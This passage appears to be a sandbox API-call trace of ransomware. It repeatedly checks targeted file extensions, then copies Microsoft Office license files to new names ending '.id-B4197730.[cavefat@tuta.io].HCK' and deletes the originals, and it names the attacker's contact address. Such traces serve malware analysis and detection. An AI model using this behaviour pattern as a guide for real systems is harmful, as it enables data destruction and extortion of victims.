Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.920] lstrlenW (lpString=".doc") returned 4 [0244.920] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".docx") returned 5 [0244.920] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.920] lstrlenW (lpString=".pdf") returned 4 [0244.920] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".xls") returned 4 [0244.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".xlsx") returned 5 [0244.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.920] lstrlenW (lpString=".ppt") returned 4 [0244.920] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.920] lstrlenW (lpString=".zip") returned 4 [0244.920] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".rar") returned 4 [0244.920] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".bz2") returned 4 [0244.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.920] lstrlenW (lpString=".7z") returned 3 [0244.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".dbf") returned 4 [0244.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".1cd") returned 4 [0244.921] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".jpg") returned 4 [0244.921] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".doc") returned 4 [0244.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".docx") returned 5 [0244.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.921] lstrlenW (lpString=".pdf") returned 4 [0244.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".xls") returned 4 [0244.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".xlsx") returned 5 [0244.921] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.921] lstrlenW (lpString=".ppt") returned 4 [0244.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".zip") returned 4 [0244.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".rar") returned 4 [0244.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".bz2") returned 4 [0244.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString=".7z") returned 3 [0244.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".dbf") returned 4 [0244.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".1cd") returned 4 [0244.921] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0244.921] lstrlenW (lpString=".jpg") returned 4 [0244.921] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.921] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.921] lstrlenW (lpString="O365HomePremR_SubTest3-ppd.xrm-ms") returned 33 [0244.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.922] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=23134) returned 1 [0244.922] CloseHandle (hObject=0x56c) returned 1 [0244.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220 [0244.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.923] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.923] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.924] GetLastError () returned 0x0 [0244.924] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0244.925] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0244.926] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.926] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x116, lpOverlapped=0x0) returned 1 [0244.927] SetEndOfFile (hFile=0x4d4) returned 1 [0244.927] CloseHandle (hObject=0x4d4) returned 1 [0244.927] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.927] SetEndOfFile (hFile=0x56c) returned 1 [0244.929] CloseHandle (hObject=0x56c) returned 1 [0244.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1 [0244.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.930] lstrlenW (lpString=".doc") returned 4 [0244.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.930] lstrlenW (lpString=".docx") returned 5 [0244.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.930] lstrlenW (lpString=".pdf") returned 4 [0244.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.930] lstrlenW (lpString=".xls") returned 4 [0244.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.930] lstrlenW (lpString=".xlsx") returned 5 [0244.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.930] lstrlenW (lpString=".ppt") returned 4 [0244.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.930] lstrlenW (lpString=".zip") returned 4 [0244.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.930] lstrlenW (lpString=".rar") returned 4 [0244.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".bz2") returned 4 [0244.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".7z") returned 3 [0244.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".dbf") returned 4 [0244.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".1cd") returned 4 [0244.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".jpg") returned 4 [0244.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".doc") returned 4 [0244.931] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".docx") returned 5 [0244.931] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.931] lstrlenW (lpString=".pdf") returned 4 [0244.931] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".xls") returned 4 [0244.931] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".xlsx") returned 5 [0244.931] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.931] lstrlenW (lpString=".ppt") returned 4 [0244.931] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".zip") returned 4 [0244.931] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".rar") returned 4 [0244.931] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".bz2") returned 4 [0244.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString=".7z") returned 3 [0244.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".dbf") returned 4 [0244.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".1cd") returned 4 [0244.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0244.931] lstrlenW (lpString=".jpg") returned 4 [0244.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.931] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.932] lstrlenW (lpString="O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 36 [0244.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.932] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11630) returned 1 [0244.932] CloseHandle (hObject=0x56c) returned 1 [0244.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220 [0244.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.933] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.933] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.934] GetLastError () returned 0x0 [0244.934] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0244.935] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0244.936] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.936] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11c, lpOverlapped=0x0) returned 1 [0244.936] SetEndOfFile (hFile=0x4d4) returned 1 [0244.936] CloseHandle (hObject=0x4d4) returned 1 [0244.937] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.937] SetEndOfFile (hFile=0x56c) returned 1 [0244.938] CloseHandle (hObject=0x56c) returned 1 [0244.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString=".doc") returned 4 [0244.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".docx") returned 5 [0244.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.940] lstrlenW (lpString=".pdf") returned 4 [0244.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".xls") returned 4 [0244.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".xlsx") returned 5 [0244.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.940] lstrlenW (lpString=".ppt") returned 4 [0244.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString=".zip") returned 4 [0244.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".rar") returned 4 [0244.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".bz2") returned 4 [0244.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString=".7z") returned 3 [0244.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString=".dbf") returned 4 [0244.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString=".1cd") returned 4 [0244.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.940] lstrlenW (lpString=".jpg") returned 4 [0244.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString=".doc") returned 4 [0244.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".docx") returned 5 [0244.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.941] lstrlenW (lpString=".pdf") returned 4 [0244.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".xls") returned 4 [0244.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".xlsx") returned 5 [0244.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.941] lstrlenW (lpString=".ppt") returned 4 [0244.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString=".zip") returned 4 [0244.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".rar") returned 4 [0244.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".bz2") returned 4 [0244.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString=".7z") returned 3 [0244.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString=".dbf") returned 4 [0244.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString=".1cd") returned 4 [0244.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0244.941] lstrlenW (lpString=".jpg") returned 4 [0244.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.941] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.941] lstrlenW (lpString="O365HomePremR_SubTest4-pl.xrm-ms") returned 32 [0244.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.942] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11179) returned 1 [0244.942] CloseHandle (hObject=0x56c) returned 1 [0244.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220 [0244.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.943] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.943] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.943] GetLastError () returned 0x0 [0244.943] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0244.959] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0244.960] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.960] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0244.960] SetEndOfFile (hFile=0x4d4) returned 1 [0244.960] CloseHandle (hObject=0x4d4) returned 1 [0244.960] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 